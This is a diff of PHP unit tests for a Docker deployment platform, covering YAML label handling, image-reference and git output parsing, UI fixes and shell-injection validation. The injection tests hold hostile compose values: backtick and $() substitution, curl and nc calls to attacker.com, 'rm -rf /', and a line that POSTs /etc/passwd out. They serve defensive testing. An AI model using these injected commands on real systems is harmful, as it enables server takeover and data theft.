* This test verifies the fix for the "preg_match(): Argument #2 ($subject) must
|
||||
* be of type string, array given" error.
|
||||
*/
|
||||
it('ensures label parsing handles array values from YAML', function () {
|
||||
// Read the parseDockerComposeFile function from shared.php
|
||||
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
|
||||
|
||||
// Check that array handling is present before str() call
|
||||
expect($sharedFile)
|
||||
->toContain('// Handle array values from YAML (e.g., "traefik.enable: true" becomes an array)')
|
||||
->toContain('if (is_array($serviceLabel)) {');
|
||||
});
|
||||
|
||||
it('ensures label parsing converts array values to strings', function () {
|
||||
// Read the parseDockerComposeFile function from shared.php
|
||||
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
|
||||
|
||||
// Check that array to string conversion exists
|
||||
expect($sharedFile)
|
||||
->toContain('// Convert array values to strings')
|
||||
->toContain('if (is_array($removedLabel)) {')
|
||||
->toContain('$removedLabel = (string) collect($removedLabel)->first();');
|
||||
});
|
||||
|
||||
it('verifies label parsing array check occurs before preg_match', function () {
|
||||
// Read the parseDockerComposeFile function from shared.php
|
||||
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
|
||||
|
||||
// Get the position of array check and str() call
|
||||
$arrayCheckPos = strpos($sharedFile, 'if (is_array($serviceLabel)) {');
|
||||
$strCallPos = strpos($sharedFile, "str(\$serviceLabel)->contains('=')");
|
||||
|
||||
// Ensure array check comes before str() call
|
||||
expect($arrayCheckPos)
|
||||
->toBeLessThan($strCallPos)
|
||||
->toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('ensures traefik middleware parsing handles array values in docker.php', function () {
|
||||
// Read the fqdnLabelsForTraefik function from docker.php
|
||||
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
|
||||
|
||||
// Check that array handling is present before preg_match
|
||||
expect($dockerFile)
|
||||
->toContain('// Handle array values from YAML parsing (e.g., "traefik.enable: true" becomes an array)')
|
||||
->toContain('if (is_array($item)) {');
|
||||
});
|
||||
|
||||
it('ensures traefik middleware parsing checks string type before preg_match in docker.php', function () {
|
||||
// Read the fqdnLabelsForTraefik function from docker.php
|
||||
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
|
||||
|
||||
// Check that string type check exists
|
||||
expect($dockerFile)
|
||||
->toContain('if (! is_string($item)) {')
|
||||
->toContain('return null;');
|
||||
});
|
||||
|
||||
it('verifies array check occurs before preg_match in traefik middleware parsing', function () {
|
||||
// Read the fqdnLabelsForTraefik function from docker.php
|
||||
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
|
||||
|
||||
// Get the position of array check and preg_match call
|
||||
$arrayCheckPos = strpos($dockerFile, 'if (is_array($item)) {');
|
||||
$pregMatchPos = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item");
|
||||
|
||||
// Ensure array check comes before preg_match call (find first occurrence after array check)
|
||||
$pregMatchAfterArrayCheck = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item", $arrayCheckPos);
|
||||
expect($arrayCheckPos)
|
||||
->toBeLessThan($pregMatchAfterArrayCheck)
|
||||
->toBeGreaterThan(0);
|
||||
});
|
||||
130
tests/Unit/DockerImageAutoParseTest.php
Normal file
130
tests/Unit/DockerImageAutoParseTest.php
Normal file
|
|
@ -0,0 +1,130 @@
|
|||
<?php
|
||||
|
||||
use App\Livewire\Project\New\DockerImage;
|
||||
|
||||
it('auto-parses complete docker image reference with tag', function () {
|
||||
$component = new DockerImage;
|
||||
$component->imageName = 'nginx:stable-alpine3.21-perl';
|
||||
$component->imageTag = '';
|
||||
$component->imageSha256 = '';
|
||||
|
||||
$component->updatedImageName();
|
||||
|
||||
expect($component->imageName)->toBe('nginx')
|
||||
->and($component->imageTag)->toBe('stable-alpine3.21-perl')
|
||||
->and($component->imageSha256)->toBe('');
|
||||
});
|
||||
|
||||
it('auto-parses complete docker image reference with sha256 digest', function () {
|
||||
$hash = '4e272eef7ec6a7e76b9c521dcf14a3d397f7c370f48cbdbcfad22f041a1449cb';
|
||||
$component = new DockerImage;
|
||||
$component->imageName = "nginx@sha256:{$hash}";
|
||||
$component->imageTag = '';
|
||||
$component->imageSha256 = '';
|
||||
|
||||
$component->updatedImageName();
|
||||
|
||||
expect($component->imageName)->toBe('nginx')
|
||||
->and($component->imageTag)->toBe('')
|
||||
->and($component->imageSha256)->toBe($hash);
|
||||
});
|
||||
|
||||
it('auto-parses complete docker image reference with tag and sha256 digest', function () {
|
||||
$hash = '4e272eef7ec6a7e76b9c521dcf14a3d397f7c370f48cbdbcfad22f041a1449cb';
|
||||
$component = new DockerImage;
|
||||
$component->imageName = "nginx:stable-alpine3.21-perl@sha256:{$hash}";
|
||||
$component->imageTag = '';
|
||||
$component->imageSha256 = '';
|
||||
|
||||
$component->updatedImageName();
|
||||
|
||||
// When both tag and digest are present, Docker keeps the tag in the name
|
||||
// but uses the digest for pulling. The tag becomes part of the image name.
|
||||
expect($component->imageName)->toBe('nginx:stable-alpine3.21-perl')
|
||||
->and($component->imageTag)->toBe('')
|
||||
->and($component->imageSha256)->toBe($hash);
|
||||
});
|
||||
|
||||
it('auto-parses registry image with port and tag', function () {
|
||||
$component = new DockerImage;
|
||||
$component->imageName = 'registry.example.com:5000/myapp:v1.2.3';
|
||||
$component->imageTag = '';
|
||||
$component->imageSha256 = '';
|
||||
|
||||
$component->updatedImageName();
|
||||
|
||||
expect($component->imageName)->toBe('registry.example.com:5000/myapp')
|
||||
->and($component->imageTag)->toBe('v1.2.3')
|
||||
->and($component->imageSha256)->toBe('');
|
||||
});
|
||||
|
||||
it('auto-parses ghcr image with sha256 digest', function () {
|
||||
$hash = 'abc123def456789abcdef123456789abcdef123456789abcdef123456789abc1';
|
||||
$component = new DockerImage;
|
||||
$component->imageName = "ghcr.io/user/app@sha256:{$hash}";
|
||||
$component->imageTag = '';
|
||||
$component->imageSha256 = '';
|
||||
|
||||
$component->updatedImageName();
|
||||
|
||||
expect($component->imageName)->toBe('ghcr.io/user/app')
|
||||
->and($component->imageTag)->toBe('')
|
||||
->and($component->imageSha256)->toBe($hash);
|
||||
});
|
||||
|
||||
it('does not auto-parse if user has manually filled tag field', function () {
|
||||
$component = new DockerImage;
|
||||
$component->imageTag = 'latest'; // User manually set this FIRST
|
||||
$component->imageSha256 = '';
|
||||
$component->imageName = 'nginx:stable'; // Then user enters image name
|
||||
|
||||
$component->updatedImageName();
|
||||
|
||||
// Should not auto-parse because tag is already set
|
||||
expect($component->imageName)->toBe('nginx:stable')
|
||||
->and($component->imageTag)->toBe('latest')
|
||||
->and($component->imageSha256)->toBe('');
|
||||
});
|
||||
|
||||
it('does not auto-parse if user has manually filled sha256 field', function () {
|
||||
$hash = '4e272eef7ec6a7e76b9c521dcf14a3d397f7c370f48cbdbcfad22f041a1449cb';
|
||||
$component = new DockerImage;
|
||||
$component->imageSha256 = $hash; // User manually set this FIRST
|
||||
$component->imageTag = '';
|
||||
$component->imageName = 'nginx:stable'; // Then user enters image name
|
||||
|
||||
$component->updatedImageName();
|
||||
|
||||
// Should not auto-parse because sha256 is already set
|
||||
expect($component->imageName)->toBe('nginx:stable')
|
||||
->and($component->imageTag)->toBe('')
|
||||
->and($component->imageSha256)->toBe($hash);
|
||||
});
|
||||
|
||||
it('does not auto-parse plain image name without tag or digest', function () {
|
||||
$component = new DockerImage;
|
||||
$component->imageName = 'nginx';
|
||||
$component->imageTag = '';
|
||||
$component->imageSha256 = '';
|
||||
|
||||
$component->updatedImageName();
|
||||
|
||||
// Should leave as-is since there's nothing to parse
|
||||
expect($component->imageName)->toBe('nginx')
|
||||
->and($component->imageTag)->toBe('')
|
||||
->and($component->imageSha256)->toBe('');
|
||||
});
|
||||
|
||||
it('handles parsing errors gracefully', function () {
|
||||
$component = new DockerImage;
|
||||
$component->imageName = 'registry.io:5000/myapp:v1.2.3';
|
||||
$component->imageTag = '';
|
||||
$component->imageSha256 = '';
|
||||
|
||||
// Should not throw exception
|
||||
expect(fn () => $component->updatedImageName())->not->toThrow(\Exception::class);
|
||||
|
||||
// Should successfully parse this valid image
|
||||
expect($component->imageName)->toBe('registry.io:5000/myapp')
|
||||
->and($component->imageTag)->toBe('v1.2.3');
|
||||
});
|
||||
|
|
@ -107,3 +107,35 @@
|
|||
expect($parser->isImageHash())->toBeFalse("Hash {$hash} should not be recognized as valid SHA256");
|
||||
}
|
||||
});
|
||||
|
||||
it('correctly parses and normalizes image with full digest including hash', function () {
|
||||
$parser = new DockerImageParser;
|
||||
$hash = '59e02939b1bf39f16c93138a28727aec520bb916da021180ae502c61626b3cf0';
|
||||
$parser->parse("nginx@sha256:{$hash}");
|
||||
|
||||
expect($parser->getImageName())->toBe('nginx')
|
||||
->and($parser->getTag())->toBe($hash)
|
||||
->and($parser->isImageHash())->toBeTrue()
|
||||
->and($parser->getFullImageNameWithoutTag())->toBe('nginx')
|
||||
->and($parser->toString())->toBe("nginx@sha256:{$hash}");
|
||||
});
|
||||
|
||||
it('correctly parses image when user provides digest-decorated name with colon hash', function () {
|
||||
$parser = new DockerImageParser;
|
||||
$hash = 'deadbeef1234567890abcdef1234567890abcdef1234567890abcdef12345678';
|
||||
|
||||
// User might provide: nginx@sha256:deadbeef...
|
||||
// This should be parsed correctly without duplication
|
||||
$parser->parse("nginx@sha256:{$hash}");
|
||||
|
||||
$imageName = $parser->getFullImageNameWithoutTag();
|
||||
if ($parser->isImageHash() && ! str_ends_with($imageName, '@sha256')) {
|
||||
$imageName .= '@sha256';
|
||||
}
|
||||
|
||||
// The result should be: nginx@sha256 (name) + deadbeef... (tag)
|
||||
// NOT: nginx:deadbeef...@sha256 or nginx@sha256:deadbeef...@sha256
|
||||
expect($imageName)->toBe('nginx@sha256')
|
||||
->and($parser->getTag())->toBe($hash)
|
||||
->and($parser->isImageHash())->toBeTrue();
|
||||
});
|
||||
|
|
|
|||
77
tests/Unit/GitLsRemoteParsingTest.php
Normal file
77
tests/Unit/GitLsRemoteParsingTest.php
Normal file
|
|
@ -0,0 +1,77 @@
|
|||
<?php
|
||||
|
||||
uses(\Tests\TestCase::class);
|
||||
|
||||
it('extracts commit SHA from git ls-remote output without warnings', function () {
|
||||
$output = "196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
|
||||
});
|
||||
|
||||
it('extracts commit SHA from git ls-remote output with redirect warning on separate line', function () {
|
||||
$output = "warning: redirecting to https://tangled.org/@tangled.org/core/\n196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
|
||||
});
|
||||
|
||||
it('extracts commit SHA from git ls-remote output with redirect warning on same line', function () {
|
||||
// This is the actual format from tangled.sh - warning and result on same line, no newline
|
||||
$output = "warning: redirecting to https://tangled.org/@tangled.org/core/196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
|
||||
});
|
||||
|
||||
it('extracts commit SHA from git ls-remote output with multiple warning lines', function () {
|
||||
$output = "warning: redirecting to https://example.org/repo/\ninfo: some other message\n196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/main";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
|
||||
});
|
||||
|
||||
it('handles git ls-remote output with extra whitespace', function () {
|
||||
$output = " 196d3df7665359a8c8fa3329a6bcde0267e550bf \trefs/heads/master";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
|
||||
});
|
||||
|
||||
it('extracts commit SHA with uppercase letters and normalizes to lowercase', function () {
|
||||
$output = "196D3DF7665359A8C8FA3329A6BCDE0267E550BF\trefs/heads/master";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
// Git SHAs are case-insensitive, so we normalize to lowercase for comparison
|
||||
expect(strtolower($commit))->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
|
||||
});
|
||||
|
||||
it('returns null when no commit SHA is present in output', function () {
|
||||
$output = "warning: redirecting to https://example.org/repo/\nError: repository not found";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
expect($commit)->toBeNull();
|
||||
});
|
||||
|
||||
it('returns null when output has tab but no valid SHA', function () {
|
||||
$output = "invalid-sha-format\trefs/heads/master";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
expect($commit)->toBeNull();
|
||||
});
|
||||
44
tests/Unit/GlobalSearchNewImageQuickActionTest.php
Normal file
44
tests/Unit/GlobalSearchNewImageQuickActionTest.php
Normal file
|
|
@ -0,0 +1,44 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that the "new image" quick action properly matches
|
||||
* the docker-image type using the quickcommand field.
|
||||
*
|
||||
* This test verifies the fix for the issue where typing "new image" would
|
||||
* not match because the frontend was only checking name and type fields,
|
||||
* not the quickcommand field.
|
||||
*/
|
||||
it('ensures GlobalSearch blade template checks quickcommand field in matching logic', function () {
|
||||
$bladeFile = file_get_contents(__DIR__.'/../../resources/views/livewire/global-search.blade.php');
|
||||
|
||||
// Check that the matching logic includes quickcommand check
|
||||
expect($bladeFile)
|
||||
->toContain('item.quickcommand')
|
||||
->toContain('quickcommand.toLowerCase().includes(trimmed)');
|
||||
});
|
||||
|
||||
it('ensures GlobalSearch clears search query when starting resource creation', function () {
|
||||
$globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');
|
||||
|
||||
// Check that navigateToResourceCreation clears the search query
|
||||
expect($globalSearchFile)
|
||||
->toContain('$this->searchQuery = \'\'');
|
||||
});
|
||||
|
||||
it('ensures GlobalSearch uses Livewire redirect method', function () {
|
||||
$globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');
|
||||
|
||||
// Check that completeResourceCreation uses $this->redirect()
|
||||
expect($globalSearchFile)
|
||||
->toContain('$this->redirect(route(\'project.resource.create\'');
|
||||
});
|
||||
|
||||
it('ensures docker-image item has quickcommand with new image', function () {
|
||||
$globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');
|
||||
|
||||
// Check that Docker Image has the correct quickcommand
|
||||
expect($globalSearchFile)
|
||||
->toContain("'name' => 'Docker Image'")
|
||||
->toContain("'quickcommand' => '(type: new image)'")
|
||||
->toContain("'type' => 'docker-image'");
|
||||
});
|
||||
200
tests/Unit/PreSaveValidationTest.php
Normal file
200
tests/Unit/PreSaveValidationTest.php
Normal file
|
|
@ -0,0 +1,200 @@
|
|||
<?php
|
||||
|
||||
test('validateDockerComposeForInjection blocks malicious service names', function () {
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
evil`curl attacker.com`:
|
||||
image: nginx:latest
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
||||
->toThrow(Exception::class, 'Invalid Docker Compose service name');
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () {
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
volumes:
|
||||
- '/tmp/pwn`curl attacker.com`:/app'
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
||||
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () {
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
volumes:
|
||||
- type: bind
|
||||
source: '/tmp/pwn`curl attacker.com`'
|
||||
target: /app
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
||||
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection blocks command substitution in volumes', function () {
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
volumes:
|
||||
- '$(cat /etc/passwd):/app'
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
||||
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection blocks pipes in service names', function () {
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
web|cat /etc/passwd:
|
||||
image: nginx:latest
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
||||
->toThrow(Exception::class, 'Invalid Docker Compose service name');
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection blocks semicolons in volumes', function () {
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
volumes:
|
||||
- '/tmp/test; rm -rf /:/app'
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
||||
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection allows legitimate compose files', function () {
|
||||
$validCompose = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
volumes:
|
||||
- /var/www/html:/usr/share/nginx/html
|
||||
- app-data:/data
|
||||
db:
|
||||
image: postgres:15
|
||||
volumes:
|
||||
- db-data:/var/lib/postgresql/data
|
||||
volumes:
|
||||
app-data:
|
||||
db-data:
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($validCompose))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection allows environment variables in volumes', function () {
|
||||
$validCompose = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
volumes:
|
||||
- '${DATA_PATH}:/app'
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($validCompose))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection blocks malicious env var defaults', function () {
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
volumes:
|
||||
- '${DATA:-$(cat /etc/passwd)}:/app'
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
||||
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection requires services section', function () {
|
||||
$invalidCompose = <<<'YAML'
|
||||
version: '3'
|
||||
networks:
|
||||
mynet:
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
||||
->toThrow(Exception::class, 'Docker Compose file must contain a "services" section');
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection handles empty volumes array', function () {
|
||||
$validCompose = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
volumes: []
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($validCompose))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection blocks newlines in volume paths', function () {
|
||||
$maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\"";
|
||||
|
||||
// YAML parser will reject this before our validation (which is good!)
|
||||
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection blocks redirections in volumes', function () {
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
volumes:
|
||||
- '/tmp/test > /etc/passwd:/app'
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
||||
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection validates volume targets', function () {
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
volumes:
|
||||
- '/tmp/safe:/app`curl attacker.com`'
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
||||
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection handles multiple services', function () {
|
||||
$validCompose = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
volumes:
|
||||
- /var/www:/usr/share/nginx/html
|
||||
api:
|
||||
image: node:18
|
||||
volumes:
|
||||
- /app/src:/usr/src/app
|
||||
db:
|
||||
image: postgres:15
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($validCompose))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
44
tests/Unit/ServiceConfigurationRefreshTest.php
Normal file
44
tests/Unit/ServiceConfigurationRefreshTest.php
Normal file
|
|
@ -0,0 +1,44 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that Configuration component properly listens to
|
||||
* refresh events dispatched when compose file or domain changes.
|
||||
*
|
||||
* These tests verify the fix for the issue where changes to compose or domain
|
||||
* were not visible until manual page refresh.
|
||||
*/
|
||||
it('ensures Configuration component listens to refreshServices event', function () {
|
||||
$configurationFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/Configuration.php');
|
||||
|
||||
// Check that the Configuration component has refreshServices listener
|
||||
expect($configurationFile)
|
||||
->toContain("'refreshServices' => 'refreshServices'")
|
||||
->toContain("'refresh' => 'refreshServices'");
|
||||
});
|
||||
|
||||
it('ensures Configuration component has refreshServices method', function () {
|
||||
$configurationFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/Configuration.php');
|
||||
|
||||
// Check that the refreshServices method exists
|
||||
expect($configurationFile)
|
||||
->toContain('public function refreshServices()')
|
||||
->toContain('$this->service->refresh()')
|
||||
->toContain('$this->applications = $this->service->applications->sort()')
|
||||
->toContain('$this->databases = $this->service->databases->sort()');
|
||||
});
|
||||
|
||||
it('ensures StackForm dispatches refreshServices event on submit', function () {
|
||||
$stackFormFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/StackForm.php');
|
||||
|
||||
// Check that StackForm dispatches refreshServices event
|
||||
expect($stackFormFile)
|
||||
->toContain("->dispatch('refreshServices')");
|
||||
});
|
||||
|
||||
it('ensures EditDomain dispatches refreshServices event on submit', function () {
|
||||
$editDomainFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/EditDomain.php');
|
||||
|
||||
// Check that EditDomain dispatches refreshServices event
|
||||
expect($editDomainFile)
|
||||
->toContain("->dispatch('refreshServices')");
|
||||
});
|
||||
242
tests/Unit/ServiceNameSecurityTest.php
Normal file
242
tests/Unit/ServiceNameSecurityTest.php
Normal file
|
|
@ -0,0 +1,242 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Service;
|
||||
use Symfony\Component\Yaml\Yaml;
|
||||
|
||||
test('service names with backtick injection are rejected', function () {
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
'evil`whoami`':
|
||||
image: alpine
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($maliciousCompose);
|
||||
$serviceName = array_key_first($parsed['services']);
|
||||
|
||||
expect(fn () => validateShellSafePath($serviceName, 'service name'))
|
||||
->toThrow(Exception::class, 'backtick');
|
||||
});
|
||||
|
||||
test('service names with command substitution are rejected', function () {
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
'evil$(cat /etc/passwd)':
|
||||
image: alpine
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($maliciousCompose);
|
||||
$serviceName = array_key_first($parsed['services']);
|
||||
|
||||
expect(fn () => validateShellSafePath($serviceName, 'service name'))
|
||||
->toThrow(Exception::class, 'command substitution');
|
||||
});
|
||||
|
||||
test('service names with pipe injection are rejected', function () {
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
'web | nc attacker.com 1234':
|
||||
image: nginx
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($maliciousCompose);
|
||||
$serviceName = array_key_first($parsed['services']);
|
||||
|
||||
expect(fn () => validateShellSafePath($serviceName, 'service name'))
|
||||
->toThrow(Exception::class, 'pipe');
|
||||
});
|
||||
|
||||
test('service names with semicolon injection are rejected', function () {
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
'web; curl attacker.com':
|
||||
image: nginx
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($maliciousCompose);
|
||||
$serviceName = array_key_first($parsed['services']);
|
||||
|
||||
expect(fn () => validateShellSafePath($serviceName, 'service name'))
|
||||
->toThrow(Exception::class, 'separator');
|
||||
});
|
||||
|
||||
test('service names with ampersand injection are rejected', function () {
|
||||
$maliciousComposes = [
|
||||
"services:\n 'web & curl attacker.com':\n image: nginx",
|
||||
"services:\n 'web && curl attacker.com':\n image: nginx",
|
||||
];
|
||||
|
||||
foreach ($maliciousComposes as $compose) {
|
||||
$parsed = Yaml::parse($compose);
|
||||
$serviceName = array_key_first($parsed['services']);
|
||||
|
||||
expect(fn () => validateShellSafePath($serviceName, 'service name'))
|
||||
->toThrow(Exception::class, 'operator');
|
||||
}
|
||||
});
|
||||
|
||||
test('service names with redirection are rejected', function () {
|
||||
$maliciousComposes = [
|
||||
"services:\n 'web > /dev/null':\n image: nginx",
|
||||
"services:\n 'web < input.txt':\n image: nginx",
|
||||
];
|
||||
|
||||
foreach ($maliciousComposes as $compose) {
|
||||
$parsed = Yaml::parse($compose);
|
||||
$serviceName = array_key_first($parsed['services']);
|
||||
|
||||
expect(fn () => validateShellSafePath($serviceName, 'service name'))
|
||||
->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('legitimate service names are accepted', function () {
|
||||
$legitCompose = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
api:
|
||||
image: node:20
|
||||
database:
|
||||
image: postgres:15
|
||||
redis-cache:
|
||||
image: redis:7
|
||||
app_server:
|
||||
image: python:3.11
|
||||
my-service.com:
|
||||
image: alpine
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($legitCompose);
|
||||
|
||||
foreach ($parsed['services'] as $serviceName => $service) {
|
||||
expect(fn () => validateShellSafePath($serviceName, 'service name'))
|
||||
->not->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('service names used in docker network connect command', function () {
|
||||
// This demonstrates the actual vulnerability from StartService.php:41
|
||||
$maliciousServiceName = 'evil`curl attacker.com`';
|
||||
$uuid = 'test-uuid-123';
|
||||
$network = 'coolify';
|
||||
|
||||
// Without validation, this would create a dangerous command
|
||||
$dangerousCommand = "docker network connect --alias {$maliciousServiceName}-{$uuid} $network {$maliciousServiceName}-{$uuid}";
|
||||
|
||||
expect($dangerousCommand)->toContain('`curl attacker.com`');
|
||||
|
||||
// With validation, the service name should be rejected
|
||||
expect(fn () => validateShellSafePath($maliciousServiceName, 'service name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('service name from the vulnerability report example', function () {
|
||||
// The example could also target service names
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
'coolify`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`':
|
||||
image: alpine
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($maliciousCompose);
|
||||
$serviceName = array_key_first($parsed['services']);
|
||||
|
||||
expect(fn () => validateShellSafePath($serviceName, 'service name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('service names with newline injection are rejected', function () {
|
||||
$maliciousServiceName = "web\ncurl attacker.com";
|
||||
|
||||
expect(fn () => validateShellSafePath($maliciousServiceName, 'service name'))
|
||||
->toThrow(Exception::class, 'newline');
|
||||
});
|
||||
|
||||
test('service names with variable substitution patterns are rejected', function () {
|
||||
$maliciousNames = [
|
||||
'web${PATH}',
|
||||
'app${USER}',
|
||||
'db${PWD}',
|
||||
];
|
||||
|
||||
foreach ($maliciousNames as $name) {
|
||||
expect(fn () => validateShellSafePath($name, 'service name'))
|
||||
->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
